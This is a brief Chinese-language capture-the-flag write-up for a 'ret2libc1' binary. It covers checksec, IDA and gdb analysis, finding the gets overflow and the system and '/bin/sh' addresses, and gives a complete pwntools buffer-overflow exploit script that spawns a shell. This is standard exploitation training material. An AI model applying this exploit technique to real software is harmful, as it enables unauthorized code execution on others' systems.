需要原文件可以找我要~
拿到文件先checksec检查保护
放入ida中
查看main函数
发现了gets危险函数,可以利用
查看函数列表有一个secure函数,双击打开
发现了system命令
我们用Shift+F12查找有无/bin/sh
找到了
双击打开记下 /bin/sh 地址 0x08048720
有了/bin/sh,接下来寻找system的地址
我们可以在最下面看到system的地址 0x08048460
接下来计算偏移量
我们先用 cyclic 200 创造200个字符
用gdb寻找溢出点
这里可以看到在 0x62616164 出现了问题
我们继续寻找偏移量
偏移量为 112
现在可以开始写payload了
from pwn import *
p = process('./ret2libc1')
addr_binsh = 0x08048720
addr_system = 0x08048460
payload = 'a' * 112
payload += p32(addr_system)
payload += 'A' * 4
payload += p32(addr_binsh)
p.sendline(payload)
p.interactive()
运行试试
成功获得权限!